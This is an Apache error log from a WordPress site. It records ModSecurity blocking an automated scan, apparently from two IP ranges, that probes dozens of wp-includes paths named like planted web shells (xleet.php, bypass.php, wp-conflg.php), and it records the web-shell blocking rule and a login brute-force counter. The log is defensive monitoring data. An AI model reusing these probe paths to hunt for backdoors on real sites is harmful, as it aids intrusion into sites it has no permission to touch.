[Sun Mar 01 04:32:05.257310 2026] [:error] [pid 24576:tid 24597] [client 85.203.15.232:41873] [client 85.203.15.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaNQxYvfb5CnctJh072-pwAAARE"]
[Sun Mar 01 04:32:05.863950 2026] [:error] [pid 21263:tid 21275] [client 85.203.15.166:64535] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaNQxdAxjzLvN1upBhm4dgAAAMg"]
[Sun Mar 01 04:32:07.226827 2026] [:error] [pid 21158:tid 21210] [client 81.199.26.60:26863] [client 81.199.26.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaNQxzriSIe3-pWnbPbMlQAAAFE"]
[Sun Mar 01 04:32:08.924181 2026] [:error] [pid 24576:tid 24594] [client 85.203.15.227:58725] [client 85.203.15.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aaNQyIvfb5CnctJh072-yAAAAQ4"]
[Sun Mar 01 04:32:09.596678 2026] [:error] [pid 24576:tid 24592] [client 85.203.15.227:31253] [client 85.203.15.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaNQyYvfb5CnctJh072-0gAAAQw"]
[Sun Mar 01 04:32:12.202349 2026] [:error] [pid 21156:tid 21182] [client 85.203.15.164:44681] [client 85.203.15.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aaNQzKsaG_9IkG8N2p3Z-AAAABA"]
[Sun Mar 01 04:32:13.677470 2026] [:error] [pid 21263:tid 21274] [client 85.203.15.169:20293] [client 85.203.15.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aaNQzdAxjzLvN1upBhm4jAAAAMc"]
[Sun Mar 01 04:32:14.306745 2026] [:error] [pid 21159:tid 21237] [client 85.203.15.227:44495] [client 85.203.15.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaNQzuLi3ouy1NZIkgoGvwAAAJA"]
[Sun Mar 01 04:32:15.535004 2026] [:error] [pid 21159:tid 21230] [client 81.199.26.70:22623] [client 81.199.26.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaNQz-Li3ouy1NZIkgoGxwAAAIk"]
[Sun Mar 01 04:32:16.601740 2026] [:error] [pid 21158:tid 21203] [client 81.199.26.67:60639] [client 81.199.26.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaNQ0DriSIe3-pWnbPbMowAAAEo"]
[Sun Mar 01 04:32:18.996190 2026] [:error] [pid 21156:tid 21179] [client 85.203.15.168:46509] [client 85.203.15.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaNQ0qsaG_9IkG8N2p3aAQAAAA0"]
[Sun Mar 01 04:32:20.294943 2026] [:error] [pid 21263:tid 21284] [client 85.203.15.224:54261] [client 85.203.15.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaNQ1NAxjzLvN1upBhm4tAAAANE"]
[Sun Mar 01 04:32:21.643405 2026] [:error] [pid 24576:tid 24584] [client 81.199.26.67:44507] [client 81.199.26.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaNQ1Yvfb5CnctJh072_EAAAAQU"]
[Sun Mar 01 04:32:22.620590 2026] [:error] [pid 21263:tid 21284] [client 81.199.26.53:55943] [client 81.199.26.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aaNQ1tAxjzLvN1upBhm4wQAAANE"]
[Sun Mar 01 04:32:23.622341 2026] [:error] [pid 21156:tid 21166] [client 81.199.26.63:23761] [client 81.199.26.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaNQ16saG_9IkG8N2p3aEQAAAAA"]
[Sun Mar 01 04:32:24.186482 2026] [:error] [pid 21159:tid 21244] [client 85.203.15.102:50327] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aaNQ2OLi3ouy1NZIkgoG1gAAAJc"]
[Sun Mar 01 04:32:24.793886 2026] [:error] [pid 24576:tid 24596] [client 85.203.15.167:44833] [client 85.203.15.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aaNQ2Ivfb5CnctJh072_HAAAARA"]
[Sun Mar 01 04:32:27.217602 2026] [:error] [pid 21159:tid 21243] [client 85.203.15.152:63703] [client 85.203.15.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaNQ2-Li3ouy1NZIkgoG6gAAAJY"]
[Sun Mar 01 04:32:28.750115 2026] [:error] [pid 21159:tid 21234] [client 81.199.26.68:36579] [client 81.199.26.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aaNQ3OLi3ouy1NZIkgoG9gAAAI0"]
[Sun Mar 01 04:32:30.588827 2026] [:error] [pid 24576:tid 24595] [client 81.199.26.63:64565] [client 81.199.26.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaNQ3ovfb5CnctJh072_QAAAAQ8"]
[Sun Mar 01 04:32:32.117291 2026] [:error] [pid 24576:tid 24603] [client 81.199.26.57:53505] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaNQ4Ivfb5CnctJh072_VAAAARc"]
[Sun Mar 01 04:32:34.682464 2026] [:error] [pid 21263:tid 21270] [client 81.199.26.62:29643] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaNQ4tAxjzLvN1upBhm42gAAAMM"]
[Sun Mar 01 04:32:35.682823 2026] [:error] [pid 21263:tid 21283] [client 85.203.15.99:46991] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaNQ49AxjzLvN1upBhm44AAAANA"]
[Sun Mar 01 04:32:36.573332 2026] [:error] [pid 24576:tid 24597] [client 81.199.26.62:21655] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaNQ5Ivfb5CnctJh072_awAAARE"]
[Sun Mar 01 04:32:37.894645 2026] [:error] [pid 21158:tid 21201] [client 85.203.15.174:59171] [client 85.203.15.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaNQ5TriSIe3-pWnbPbMwAAAAEg"]
[Sun Mar 01 04:32:41.342249 2026] [:error] [pid 24576:tid 24589] [client 81.199.26.56:22681] [client 81.199.26.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaNQ6Yvfb5CnctJh072_iwAAAQo"]
[Sun Mar 01 04:32:41.935735 2026] [:error] [pid 21158:tid 21197] [client 81.199.26.66:44645] [client 81.199.26.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaNQ6TriSIe3-pWnbPbMxQAAAEQ"]
[Sun Mar 01 04:32:43.475952 2026] [:error] [pid 21158:tid 21195] [client 85.203.15.100:37075] [client 85.203.15.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaNQ6zriSIe3-pWnbPbMzAAAAEI"]
[Sun Mar 01 04:32:44.077741 2026] [:error] [pid 24576:tid 24583] [client 85.203.15.102:31643] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaNQ7Ivfb5CnctJh072_lwAAAQQ"]
[Sun Mar 01 04:32:45.206612 2026] [:error] [pid 24576:tid 24585] [client 85.203.15.102:42861] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaNQ7Yvfb5CnctJh072_oAAAAQY"]
[Sun Mar 01 04:32:45.811131 2026] [:error] [pid 24576:tid 24582] [client 81.199.26.68:44321] [client 81.199.26.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aaNQ7Yvfb5CnctJh072_ogAAAQM"]
[Sun Mar 01 04:32:46.383959 2026] [:error] [pid 21263:tid 21278] [client 85.203.15.160:56125] [client 85.203.15.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.160, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaNQ7tAxjzLvN1upBhm4_AAAAMs"]
[Sun Mar 01 04:32:46.394604 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 85.203.15.160:56125] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:32:46.779631 2026] [:error] [pid 21263:tid 21272] [client 85.203.15.160:56125] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaNQ7tAxjzLvN1upBhm4_wAAAMU"]
[Sun Mar 01 04:32:48.247580 2026] [:error] [pid 21156:tid 21181] [client 85.203.15.231:33421] [client 85.203.15.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaNQ8KsaG_9IkG8N2p3aJwAAAA8"]
[Sun Mar 01 04:32:48.852089 2026] [:error] [pid 21159:tid 21233] [client 85.203.15.156:24915] [client 85.203.15.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aaNQ8OLi3ouy1NZIkgoHPAAAAIw"]
[Sun Mar 01 04:32:51.685265 2026] [:error] [pid 21159:tid 21231] [client 85.203.15.158:60397] [client 85.203.15.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aaNQ8-Li3ouy1NZIkgoHVQAAAIo"]
[Sun Mar 01 04:32:52.586029 2026] [:error] [pid 24576:tid 24586] [client 81.199.26.62:22735] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aaNQ9Ivfb5CnctJh072_xAAAAQc"]
[Sun Mar 01 04:32:53.984509 2026] [:error] [pid 21158:tid 21214] [client 81.199.26.69:35783] [client 81.199.26.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aaNQ9TriSIe3-pWnbPbM3gAAAFU"]
[Sun Mar 01 04:32:55.422216 2026] [:error] [pid 24576:tid 24584] [client 85.203.15.167:35979] [client 85.203.15.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aaNQ94vfb5CnctJh072_2AAAAQU"]
[Sun Mar 01 04:32:56.062978 2026] [proxy_fcgi:error] [pid 24576:tid 24586] [client 85.203.15.221:33447] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:32:56.371974 2026] [:error] [pid 24576:tid 24589] [client 85.203.15.221:33447] [client 85.203.15.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.221, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaNQ-Ivfb5CnctJh072_3wAAAQo"]
[Sun Mar 01 04:32:57.018887 2026] [:error] [pid 24576:tid 24582] [client 85.203.15.221:33447] [client 85.203.15.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aaNQ-Yvfb5CnctJh072_5AAAAQM"]
[Sun Mar 01 04:32:59.050375 2026] [:error] [pid 24576:tid 24594] [client 85.203.15.168:64243] [client 85.203.15.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aaNQ-4vfb5CnctJh072__wAAAQ4"]
[Sun Mar 01 04:33:00.055712 2026] [:error] [pid 21263:tid 21281] [client 85.203.15.150:51235] [client 85.203.15.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aaNQ_NAxjzLvN1upBhm5OwAAAM4"]
[Sun Mar 01 04:33:00.771966 2026] [:error] [pid 21263:tid 21276] [client 85.203.15.231:49547] [client 85.203.15.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aaNQ_NAxjzLvN1upBhm5QQAAAMk"]
[Sun Mar 01 04:33:02.489458 2026] [:error] [pid 21263:tid 21288] [client 85.203.15.151:54685] [client 85.203.15.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaNQ_tAxjzLvN1upBhm5TwAAANU"]
[Sun Mar 01 04:33:03.770298 2026] [:error] [pid 21263:tid 21277] [client 81.199.26.55:51989] [client 81.199.26.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaNQ_9AxjzLvN1upBhm5WgAAAMo"]
[Sun Mar 01 04:33:05.712546 2026] [:error] [pid 21156:tid 21166] [client 81.199.26.53:28173] [client 81.199.26.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aaNRAasaG_9IkG8N2p3aSwAAAAA"]
[Sun Mar 01 04:33:06.319764 2026] [:error] [pid 21263:tid 21272] [client 85.203.15.231:52575] [client 85.203.15.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aaNRAtAxjzLvN1upBhm5ZAAAAMU"]
[Sun Mar 01 04:33:07.212312 2026] [:error] [pid 24576:tid 24603] [client 85.203.15.225:28037] [client 85.203.15.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aaNRA4vfb5CnctJh073AMAAAARc"]
[Sun Mar 01 04:33:09.758671 2026] [:error] [pid 21156:tid 21190] [client 81.199.26.61:30439] [client 81.199.26.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaNRBasaG_9IkG8N2p3aXgAAABg"]
[Sun Mar 01 04:33:11.586211 2026] [:error] [pid 24576:tid 24601] [client 85.203.15.102:21475] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aaNRB4vfb5CnctJh073AVQAAARU"]
